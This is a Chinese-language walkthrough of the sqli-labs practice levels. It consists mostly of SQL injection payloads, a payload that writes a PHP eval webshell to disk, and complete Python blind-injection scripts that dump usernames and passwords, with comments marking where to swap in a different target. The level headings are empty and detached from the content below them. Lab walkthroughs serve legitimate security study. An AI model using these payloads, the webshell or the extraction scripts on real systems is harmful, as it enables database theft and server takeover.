sqli-lab通关笔记
第一关





第二关


第三关



第四关


第五关


第六关


第七关




第八关

第九关


第十关

第十一关





第十二关







第十三关





第十四关






第十五关



第十六关


第十七关







第十八关










第十九关














第二十关






第二十一关











Last updated




































































































Last updated
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata # //枚举数据库
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23 //枚举数据库所有表名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23 //枚举users表中的所有列名
?id=-1' union select 1,2,group_concat(concat(username,0x7e,password))from users %23//枚举出所有的username和password,并用~分割开1. union select count(*) ,concat ((此处加入执行语句),0x7e,floor (rand (0)*2)) as a from information _schema.tables group by a;
2. or extractvalue(1,concat (0x7e,(此处加入执行语句),0x7e));
3. union select updatexml(1,concat (0x7e,(此处加入执行语句),0x7e),1);http://localhost/sqli-labs/Less-7/?id=1')) union select null,null,'<?php @eval($_POST[pass])?>' into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs\\shell.php"http://localhost/sqli-labs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>64,sleep(5),1)%23 import sys
import requests
def getPayload(result_index, char_index, ascii):
# 附加url
start_str = "1' and "
end_str = "--+"
# 自定义SQL查询语句
# 查询所有数据库名
# select_str="select schema_name from information_schema.schemata limit "+ str(result_index) + ",1"
# 查询特定数据库中的所有表名
# select_str="select table_name from information_schema.tables where table_schema='security' limit "+str(result_index)+",1"
# 查询数据库的表的列名
# select_str= "select column_name from information_schema.columns where table_name ='users' and table_schema='security' limit " + str(result_index) + ",1"
# 查询特定数据库特定表中内容
select_str="select concat(username,0x7e,password) from users limit "+str(result_index)+",1"
# 连接payload
sqli_str = "(ascii(mid((" + select_str + ")," + str(char_index) + ",1))>" + str(ascii) + ")"
payload = start_str + sqli_str + end_str
# print(payload)
return payload
def execute(result_index, char_index, ascii):
# 连接url
url = "http://localhost:/sqli-labs/Less-8/?id="
exec_url = url + getPayload(result_index, char_index, ascii)
# print(exec_url)
# 检查回显
echo = "You are in"
content = requests.get(exec_url).text
if echo in content:
return True
else:
return False
def dichotomy(result_index, char_index, left, right):
while left < right:
# 二分法
ascii = int((left + right) / 2)
if execute(str(result_index), str(char_index + 1), str(ascii)):
left = ascii
else:
right = ascii
# 结束二分
if left == right - 1:
if execute(str(result_index), str(char_index + 1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)
if __name__ == "__main__":
for num in range(32): # 查询结果的数量
count = 0
for len in range(32): # 单条查询结果的长度
count += 1
char = dichotomy(num, len, 30, 126)
if ord(char) == 31: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()http://127.0.0.1/sqli-labs/Less-9/?id=1%27%20and%20sleep(5)%20%23import sys
import time
import requests
def getPayload(result_index, char_index, ascii):
# 附加url
start_str = "1' and "
end_str = "--+"
# 自定义SQL查询语句
# 查询所有数据库名
select_str="select schema_name from information_schema.schemata limit "+ str(result_index) + ",1"
# 查询特定数据库中的所有表名
# select_str="select table_name from information_schema.tables where table_schema='security' limit "+str(result_index)+",1"
# 查询数据库的表的列名
# select_str= "select column_name from information_schema.columns where table_name ='users' and table_schema='security' limit " + str(result_index) + ",1"
# 查询特定数据库特定表中内容
# select_str = "select concat(username,0x7e,password) from users limit " + str(result_index) + ",1"
# 连接payload
sqli_str = "if(ascii(mid((" + select_str + ")," + str(char_index) + ",1))=" + str(ascii) + ",sleep(0.2),0)"
payload = start_str + sqli_str + end_str
# print(payload)
return payload
def execute(result_index, char_index, ascii):
# 连接url
url = "http://localhost/sqli-labs/Less-9/?id="
exec_url = url + getPayload(result_index, char_index, ascii)
# print(exec_url)
# 检查延时
before_time = time.time()
requests.get(exec_url) # 节约时间
after_time = time.time()
use_time = after_time - before_time
if use_time >= 0.05:
return True
else:
return False
def exhaustive(result_index, char_index):
# ascii可显字符从32到126共95个 按可能性顺序
ascii_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
'u', 'v', 'w', 'x', 'y', 'z', '_', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' ', '!', '"', '#', '$', '%', '&',
'\'', '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':',
';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '`', '{', '|', '}', '~']
for ascii_char in ascii_list:
ascii = ord(ascii_char)
if execute(str(result_index), str(char_index + 1), str(ascii)):
return ascii_char
return chr(1)
if __name__ == "__main__":
for num in range(32): # 查询结果的数量
count = 0
for len in range(32): # 单条查询结果的长度
count += 1
char = exhaustive(num, len)
if ord(char) == 1: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()http://127.0.0.1/sqli-labs/Less-10?id=1" and sleep(3)%23 //页面会加载3秒,证明是双引号注入import sys
import time
import requests
def getPayload(result_index, char_index, ascii):
# 附加url
start_str = '1" and '
end_str = "--+"
# 自定义SQL查询语句
# 查询所有数据库名
select_str="select schema_name from information_schema.schemata limit "+ str(result_index) + ",1"
# 查询特定数据库中的所有表名
# select_str="select table_name from information_schema.tables where table_schema='security' limit "+str(result_index)+",1"
# 查询数据库的表的列名
# select_str= "select column_name from information_schema.columns where table_name ='users' and table_schema='security' limit " + str(result_index) + ",1"
# 查询特定数据库特定表中内容
# select_str = "select concat(username,0x7e,password) from users limit " + str(result_index) + ",1"
# 连接payload
sqli_str = "if(ascii(mid((" + select_str + ")," + str(char_index) + ",1))=" + str(ascii) + ",sleep(0.1),0)"
payload = start_str + sqli_str + end_str
# print(payload)
return payload
def execute(result_index, char_index, ascii):
# 连接url
url = "http://localhost/sqli-labs/Less-10/?id="
exec_url = url + getPayload(result_index, char_index, ascii)
# print(exec_url)
# 检查延时
before_time = time.time()
requests.get(exec_url) # 节约时间
after_time = time.time()
use_time = after_time - before_time
if use_time >= 0.09:
return True
else:
return False
def exhaustive(result_index, char_index):
# ascii可显字符从32到126共95个 按可能性顺序
ascii_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
'u', 'v', 'w', 'x', 'y', 'z', '_', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' ', '!', '"', '#', '$', '%', '&',
'\'', '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':',
';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '`', '{', '|', '}', '~']
for ascii_char in ascii_list:
ascii = ord(ascii_char)
if execute(str(result_index), str(char_index + 1), str(ascii)):
return ascii_char
return chr(1)
if __name__ == "__main__":
for num in range(32): # 查询结果的数量
count = 0
for len in range(32): # 单条查询结果的长度
count += 1
char = exhaustive(num, len)
if ord(char) == 1: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()uname=aaa'union+select+user(),group_concat(schema_name)+from+information_schema.schemata+%23&passwd=aaa&submit=Submituname=aaa'union+select+user(),group_concat(table_name)+from+information_schema.tables+where+table_schema="security"%23&passwd=aaa&submit=Submituname=aaa'union+select+user(),group_concat(column_name)+from+information_schema.columns+where+table_schema="security"+and+table_name="users"%23&passwd=aaa&submit=Submituname=aaa'union+select+user(),group_concat(concat(username,0x7e,password))+from+security.users%23&passwd=aaa&submit=Submituname=aaa%22)union+select+1,2#&passwd=aaa&submit=Submituname=aaa%22)union+select+database(),version()#&passwd=aaa&submit=Submituname=aaa%22)union+select+database(),group_concat(schema_name)+from+information_schema.schemata#&passwd=aaa&submit=Submituname=aaa%22)union+select+database(),group_concat(table_name)+from+information_schema.tables+where+table_schema="hadsky"#&passwd=aaa&submit=Submituname=aaa%22)union+select+database(),group_concat(column_name)+from+information_schema.columns+where+table_schema="hadsky"+and+table_name="pk_user"#&passwd=aaa&submit=Submituname=aaa%22)union+select+database(),group_concat(username,0x7e,password)+from+hadsky.pk_user#&passwd=aaa&submit=Submituname=aaa')+or+updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=aaa&submit=Submituname=aaa')+or+updatexml(1,concat(0x7e,(select+(schema_name)+from+information_schema.schemata+limit+3,1),0x7e),1)#&passwd=aaa&submit=Submituname=aaa')+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema="mms"),0x7e),1)#&passwd=aaa&submit=Submituname=aaa')+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema="mms"+and+table_name="user"),0x7e),1)#&passwd=aaa&submit=Submituname=aaa')+or+updatexml(1,concat(0x7e,(select+group_concat(uUsername,0x7e,uPassword)+from+mms.user),0x7e),1)#&passwd=aaa&submit=Submituname=aaa%22+or+updatexml(1,concat(0x7e,(select+right(group_concat(schema_name),15)+from+information_schema.schemata),0x7e),1)+%23&passwd=aaa&submit=Submituname=aaa%22+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema="security"),0x7e),1)+%23&passwd=aaa&submit=Submituname=aaa%22+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema="security"+and+table_name="users"),0x7e),1)+%23&passwd=aaa&submit=Submituname=aaa%22+or+updatexml(1,concat(0x7e,(select+group_concat(username,0x7e,password)+from+security.users),0x7e),1)+%23&passwd=aaa&submit=Submituname=1'+or+ascii(mid(database(),1,1))>33#&passwd=aa&submit=Submitimport time
import sys
import requests
def getPayload(result_index, char_index, ascii):
select_str = "select concat(content,'@',time) from pikachu.message limit "+str(result_index)+",1" #DIY地址
# 连接payload
sqli_str = "1' or (ascii(mid((" + select_str + ")," + str(char_index) + ",1))>" + str(ascii) + ")#" #DIY地址
payload = {"uname":sqli_str,"passwd":"aa","submit":"Submit"} #DIY地址
return payload
def execute(result_index, char_index, ascii):
# 连接url
url = "http://localhost/sqli-labs/Less-15/index.php" #DIY地址
payload = getPayload(result_index, char_index, ascii)
# print(payload)
# 检查回显
echo = "flag" #DIY地址
content = requests.post(url, data=payload).text
time.sleep(0.1)
# print(content)
if echo in content:
return True
else:
return False
def dichotomy(result_index, char_index, left, right):
while left < right:
# 二分法
ascii = int((left + right) / 2)
if execute(str(result_index), str(char_index + 1), str(ascii)):
left = ascii
else:
right = ascii
# 结束二分
if left == right - 1:
if execute(str(result_index), str(char_index + 1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)
if __name__ == "__main__":
for num in range(32): # 查询结果的数量 #DIY地址
count = 0
for len in range(32): # 单条查询结果的长度 #DIY地址
count += 1
char = dichotomy(num, len, 30, 126)
if ord(char) == 1: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()import time
import sys
import requests
def getPayload(result_index, char_index, ascii):
# select_str = "select database()" #DIY地址
# select_str = "select schema_name from information_schema.schemata limit "+str(result_index)+" ,1" #DIY地址,获取所有的数据库
# select_str = "select table_name from information_schema.tables where table_schema='security' limit "+str(result_index)+" ,1" #DIY地址,获取某个数据库中的所有表
# select_str = "select column_name from information_schema.columns where table_schema='security' and table_name='users' limit "+str(result_index)+" ,1" #DIY地址,某张表中所有的字段名称
select_str = "select concat(username,'~',password) from security.users limit "+str(result_index)+" ,1" #获取表中的内容
# 连接payload
sqli_str = '1")^(ascii(mid(('+ select_str +")," + str(char_index) + ",1))>" + str(ascii) + ")#" #DIY地址,获取所有的数据库
# print(sqli_str)
payload = {"uname":sqli_str,
"passwd":"aaa",
"submit":"Submit"
} #DIY地址
return payload
def execute(result_index, char_index, ascii):
# 连接url
url = "http://localhost/sqli-labs/Less-16/" #DIY地址
payload = getPayload(result_index, char_index, ascii)
# print(payload)
# 检查回显
echo = "flag.jpg" #DIY地址
content = requests.post(url, data=payload).text
# print(content)
time.sleep(0.1)
# print(content)
if echo in content:
return True
else:
return False
def dichotomy(result_index, char_index, left, right):
while left < right:
# 二分法
ascii = int((left + right) / 2)
if execute(str(result_index), str(char_index + 1), str(ascii)):
left = ascii
else:
right = ascii
# 结束二分
if left == right - 1:
if execute(str(result_index), str(char_index + 1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)
if __name__ == "__main__":
for num in range(32): # 查询结果的数量 #DIY地址
count = 0
for len in range(32): # 单条查询结果的长度 #DIY地址
count += 1
char = dichotomy(num, len, 30, 126)
if ord(char) == 31: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()
passwd=admin%27+or+updatexml(1,concat(0x7e,(select+database()),0x7e),1)%23passwd=1'+and+updatexml(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema="security"+limit+3,1),0x7e),1)%23passwd=111'+and+(updatexml(1,concat(0x7e,(select+password+from+(select+password+from+users+where+username="admin")aa),0x7e),1))%231',1,updatexml(1,concat(0x7e,database(),0x7e),1))#1',1,updatexml(1,concat(0x7e,(select group_concat(table_name)1',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security"),0x7e),1))#1',1,updatexml(1,concat(0x7e,(select group_concat(concat(username,0x7e,password)) from security.users),0x7e),1))#1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#1',updatexml(1,concat(0x7e,(select substring(group_concat(schema_name),1) from information_schema.schemata ),0x7e),1))#
1',updatexml(1,concat(0x7e,(select substring(group_concat(schema_name),30) from information_schema.schemata ),0x7e),1))#
1',updatexml(1,concat(0x7e,(select substring(group_concat(schema_name),60) from information_schema.schemata ),0x7e),1))#1',updatexml(1,concat(0x7e,(select substring(group_concat(table_name),1) from information_schema.tables where table_schema="security"),0x7e),1))#1',updatexml(1,concat(0x7e,(select substring(group_concat(column_name),1) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1))#1',updatexml(1,concat(0x7e,(select substring(group_concat(concat(username,0x7e,password)),1) from security.users),0x7e),1))#
1',updatexml(1,concat(0x7e,(select substring(group_concat(concat(username,0x7e,password)),30) from security.users),0x7e),1))#
1',updatexml(1,concat(0x7e,(select substring(group_concat(concat(username,0x7e,password)),60) from security.users),0x7e),1))#